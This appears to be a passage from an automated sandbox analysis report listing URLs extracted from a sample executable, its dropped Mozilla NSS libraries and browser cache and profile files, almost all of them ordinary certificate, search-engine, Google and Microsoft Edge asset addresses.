Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_473.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481586326.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_477.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_477.4.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.10.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chromecache_477.4.dr, chromecache_473.4.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: ecdf5f6c-cb44-4205-b8d9-ad841fab1844.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: ecdf5f6c-cb44-4205-b8d9-ad841fab1844.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_477.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_477.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2478063859.0000000023C51000.00000004.00000020.00020000.00000000.sdmp, FCFBFBFBKFIDHJKFCAFC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: file.exe, file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_477.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2348482244.0000000023BFB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245707478.0000000001582000.00000004.00000020.00020000.00000000.sdmp, AAFBAKEC.0.dr, Web Data.9.dr, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ecdf5f6c-cb44-4205-b8d9-ad841fab1844.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr, 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
